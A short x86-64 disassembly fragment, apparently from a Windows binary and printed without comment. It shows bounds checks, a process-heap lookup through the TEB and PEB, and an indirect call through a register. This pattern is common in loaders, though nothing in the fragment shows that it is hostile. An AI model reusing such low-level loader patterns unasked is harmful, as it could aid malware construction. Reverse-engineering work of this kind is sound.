jbe 0x1400a2149
cmp rdx, rsi
jb 0x1400a2149
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp rdx, rax
ja 0x1400a2149
test rdx, rdx
je 0x1400a2149
mov rcx, qword [rdi + 0x18]
add rcx, rsi
mov esi, 0xb83816b6
cmp rdx, rcx
jbe 0x1400a2088
mov dword [0x140143468], 0x15
jmp 0x1400a2071
mov rbx, rdx
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call rbx
call fcn.14007f320
movsd xmm0, qword [0x140139e98]
call fcn.1400a9c04
jmp 0x1400a220f
call fcn.14007f320
lea r11, [rsp + 0x3c0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret